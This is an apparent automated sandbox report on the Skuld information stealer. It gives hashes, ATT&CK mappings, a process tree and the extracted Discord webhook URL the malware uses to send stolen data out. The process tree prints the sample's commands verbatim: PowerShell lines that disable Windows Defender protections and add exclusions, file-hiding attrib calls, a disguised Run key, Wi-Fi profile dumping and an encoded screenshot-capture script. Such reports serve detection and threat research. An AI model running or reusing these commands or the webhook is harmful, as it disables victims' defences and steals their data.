skuld | 99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

Analysis

max time kernel
150s
max time network
48s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2024 22:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

skuld.exe
Size

9.5MB
MD5

4527ef40b2543cbfa46d35c25f741dae
SHA1

f01565f1b655a840a6a4b1cbc070659014508aee
SHA256

99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e
SHA512

ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316
SSDEEP

98304:fdWb6aDUMqI03IXN1dsv7FQMEP4KAd4f:A/UMqY1dsvBQlPTf

Score

10^/10

skuld execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1257039082274422896/395iJabK3IVPpIWgS1k1UJ3FAnHY2lWIwRcLWCTN1yTDR63aYdeLgcVrc81Dut5tbfV4

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
924	powershell.exe
2384	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	skuld.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	skuld.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
3	discord.com
9	discord.com
14	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4512	wmic.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
924	powershell.exe
924	powershell.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
4988	powershell.exe
2716	skuld.exe
2716	skuld.exe
4988	powershell.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe
2716	skuld.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	skuld.exe
Token: SeIncreaseQuotaPrivilege	664	wmic.exe
Token: SeSecurityPrivilege	664	wmic.exe
Token: SeTakeOwnershipPrivilege	664	wmic.exe
Token: SeLoadDriverPrivilege	664	wmic.exe
Token: SeSystemProfilePrivilege	664	wmic.exe
Token: SeSystemtimePrivilege	664	wmic.exe
Token: SeProfSingleProcessPrivilege	664	wmic.exe
Token: SeIncBasePriorityPrivilege	664	wmic.exe
Token: SeCreatePagefilePrivilege	664	wmic.exe
Token: SeBackupPrivilege	664	wmic.exe
Token: SeRestorePrivilege	664	wmic.exe
Token: SeShutdownPrivilege	664	wmic.exe
Token: SeDebugPrivilege	664	wmic.exe
Token: SeSystemEnvironmentPrivilege	664	wmic.exe
Token: SeRemoteShutdownPrivilege	664	wmic.exe
Token: SeUndockPrivilege	664	wmic.exe
Token: SeManageVolumePrivilege	664	wmic.exe
Token: 33	664	wmic.exe
Token: 34	664	wmic.exe
Token: 35	664	wmic.exe
Token: 36	664	wmic.exe
Token: SeIncreaseQuotaPrivilege	664	wmic.exe
Token: SeSecurityPrivilege	664	wmic.exe
Token: SeTakeOwnershipPrivilege	664	wmic.exe
Token: SeLoadDriverPrivilege	664	wmic.exe
Token: SeSystemProfilePrivilege	664	wmic.exe
Token: SeSystemtimePrivilege	664	wmic.exe
Token: SeProfSingleProcessPrivilege	664	wmic.exe
Token: SeIncBasePriorityPrivilege	664	wmic.exe
Token: SeCreatePagefilePrivilege	664	wmic.exe
Token: SeBackupPrivilege	664	wmic.exe
Token: SeRestorePrivilege	664	wmic.exe
Token: SeShutdownPrivilege	664	wmic.exe
Token: SeDebugPrivilege	664	wmic.exe
Token: SeSystemEnvironmentPrivilege	664	wmic.exe
Token: SeRemoteShutdownPrivilege	664	wmic.exe
Token: SeUndockPrivilege	664	wmic.exe
Token: SeManageVolumePrivilege	664	wmic.exe
Token: 33	664	wmic.exe
Token: 34	664	wmic.exe
Token: 35	664	wmic.exe
Token: 36	664	wmic.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeIncreaseQuotaPrivilege	4440	wmic.exe
Token: SeSecurityPrivilege	4440	wmic.exe
Token: SeTakeOwnershipPrivilege	4440	wmic.exe
Token: SeLoadDriverPrivilege	4440	wmic.exe
Token: SeSystemProfilePrivilege	4440	wmic.exe
Token: SeSystemtimePrivilege	4440	wmic.exe
Token: SeProfSingleProcessPrivilege	4440	wmic.exe
Token: SeIncBasePriorityPrivilege	4440	wmic.exe
Token: SeCreatePagefilePrivilege	4440	wmic.exe
Token: SeBackupPrivilege	4440	wmic.exe
Token: SeRestorePrivilege	4440	wmic.exe
Token: SeShutdownPrivilege	4440	wmic.exe
Token: SeDebugPrivilege	4440	wmic.exe
Token: SeSystemEnvironmentPrivilege	4440	wmic.exe
Token: SeRemoteShutdownPrivilege	4440	wmic.exe
Token: SeUndockPrivilege	4440	wmic.exe
Token: SeManageVolumePrivilege	4440	wmic.exe
Token: 33	4440	wmic.exe
Token: 34	4440	wmic.exe
Token: 35	4440	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 1668	2716	skuld.exe	86
PID 2716 wrote to memory of 1668	2716	skuld.exe	86
PID 2716 wrote to memory of 664	2716	skuld.exe	87
PID 2716 wrote to memory of 664	2716	skuld.exe	87
PID 2716 wrote to memory of 924	2716	skuld.exe	88
PID 2716 wrote to memory of 924	2716	skuld.exe	88
PID 2716 wrote to memory of 3892	2716	skuld.exe	89
PID 2716 wrote to memory of 3892	2716	skuld.exe	89
PID 2716 wrote to memory of 4440	2716	skuld.exe	91
PID 2716 wrote to memory of 4440	2716	skuld.exe	91
PID 2716 wrote to memory of 4512	2716	skuld.exe	92
PID 2716 wrote to memory of 4512	2716	skuld.exe	92
PID 2716 wrote to memory of 2840	2716	skuld.exe	93
PID 2716 wrote to memory of 2840	2716	skuld.exe	93
PID 2716 wrote to memory of 4988	2716	skuld.exe	94
PID 2716 wrote to memory of 4988	2716	skuld.exe	94
PID 2716 wrote to memory of 1240	2716	skuld.exe	95
PID 2716 wrote to memory of 1240	2716	skuld.exe	95
PID 2716 wrote to memory of 3448	2716	skuld.exe	96
PID 2716 wrote to memory of 3448	2716	skuld.exe	96
PID 2716 wrote to memory of 2044	2716	skuld.exe	97
PID 2716 wrote to memory of 2044	2716	skuld.exe	97
PID 2716 wrote to memory of 2384	2716	skuld.exe	98
PID 2716 wrote to memory of 2384	2716	skuld.exe	98
PID 2384 wrote to memory of 4632	2384	powershell.exe	99
PID 2384 wrote to memory of 4632	2384	powershell.exe	99
PID 4632 wrote to memory of 4808	4632	csc.exe	100
PID 4632 wrote to memory of 4808	4632	csc.exe	100

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1668	attrib.exe
3892	attrib.exe
3448	attrib.exe
1240	attrib.exe

C:\Users\Admin\AppData\Local\Temp\skuld.exe
"C:\Users\Admin\AppData\Local\Temp\skuld.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Views/modifies file attributes
  PID:1668
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:924
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:3892
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4440
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4512
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4988
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:1240
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:3448
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9337.tmp" "c:\Users\Admin\AppData\Local\Temp\mdblay4y\CSCD7ACED47FCD7444FA5411DB7EBFF2814.TMP"
      4⤵
      PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3072fa0040b347c3941144486bf30c6f

SHA1
e6dc84a5bd882198583653592f17af1bf8cbfc68

SHA256
da8b533f81b342503c109e46b081b5c5296fdad5481f93fe5cc648e49ca6238e

SHA512
62df0eed621fe8ec340887a03d26b125429025c14ddcdfef82cb78ce1c9c6110c1d51ff0e423754d7966b6251363bf92833970eaf67707f8dd62e1549a79536c

Download Submit
C:\Users\Admin\AppData\Local\Temp\DkKa93KmJK\Display (1).png

Filesize
426KB

MD5
861c8600c5c2690c20f8902dee919011

SHA1
0f7fc0d519bf07469eff4984b4d73d7c9b0e4536

SHA256
7cdc6a95d312fca690929b5ae4e4c3241c88a1079c6dea187b758f16a713f05c

SHA512
1e5031bdbd748376a7592d05ccb56ed91a2cbbf6ace88e40dad5a513b6c72e3ea28568a5f49fae72db6d6ca3577cd2b5f88604727d2f9605fc0d77c5224acbd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9337.tmp

Filesize
1KB

MD5
551c157c6f8fe47593b3397b5a1ea912

SHA1
1be5dc5b6ae05047fecd2ad76e18983a1be275b4

SHA256
6b615025a2e17c28f71f13f00c0f449d823a466585be5342ff55aa2434e69d6b

SHA512
2200ca056f8d4896a559ae1bfa54328e8bd84dec35fcac4d9a21fc75c1edabaeb00df9d318a8fdb4ac9ccdce35e4f60674c8772f03a745edfdc1431ce408abeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gkdtotq5.iq5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.dll

Filesize
4KB

MD5
b7a89f5934bafeb136803879c20084fb

SHA1
4b58971ecb09692a278b50e6da8ad2272c3fc852

SHA256
90c96b5df9a19467642f6a1e8dcd73b1c80abc9943770a0871b6b5a5e932bd40

SHA512
af313e74869b1f28050a0fb43717299874f494c19024222eedbf0d75905fcd5e1907742fc110888d7d1de73eebcaa9e1f9d6b9d1e3c6197e0003653ec863f97f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.5MB

MD5
4527ef40b2543cbfa46d35c25f741dae

SHA1
f01565f1b655a840a6a4b1cbc070659014508aee

SHA256
99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

SHA512
ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mdblay4y\CSCD7ACED47FCD7444FA5411DB7EBFF2814.TMP

Filesize
652B

MD5
c8952a80bb6b5d794f4a636b13781fd5

SHA1
593e348c29f33d36dcd5d9862038a1c455ad2d6d

SHA256
d2c776cf68339b9b181606b62f3f2c32172d87dc1af87233dcdbbf65b80f3efc

SHA512
121c4487f997b475e9f1ee986f949a2aea2d308cc0ebf3c4a8a10d0ecbdf879095451295cc7620562237a376bca15d2f5c7a11344b30d2be506c0f1e85be985a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.cmdline

Filesize
607B

MD5
0176bc4fe241e7d1151ebeaec175a4d5

SHA1
68ed6d49e4d8fabf346433e0362bd5c5ac8e88b1

SHA256
805f974bea90d95eeec1b9aff9614010f43c2db3b188d0be8126346e90cc14fd

SHA512
3c7e47c00a2d3fc4291f3cea20fcddb666119c464def23104c4aa197374c8435833595618393b933b7c8a1c98401e5d103ef7d6e90f6ee6f7e1d63d132bbd30f

Download Submit
memory/924-20-0x00007FF9F6500000-0x00007FF9F6FC1000-memory.dmp

Filesize
10.8MB

Download
memory/924-15-0x00007FF9F6500000-0x00007FF9F6FC1000-memory.dmp

Filesize
10.8MB

Download
memory/924-14-0x00007FF9F6500000-0x00007FF9F6FC1000-memory.dmp

Filesize
10.8MB

Download
memory/924-4-0x0000020AFFF60000-0x0000020AFFF82000-memory.dmp

Filesize
136KB

Download
memory/924-3-0x00007FF9F6503000-0x00007FF9F6505000-memory.dmp

Filesize
8KB

Download
memory/2384-60-0x0000025B027A0000-0x0000025B027A8000-memory.dmp

Filesize
32KB

Download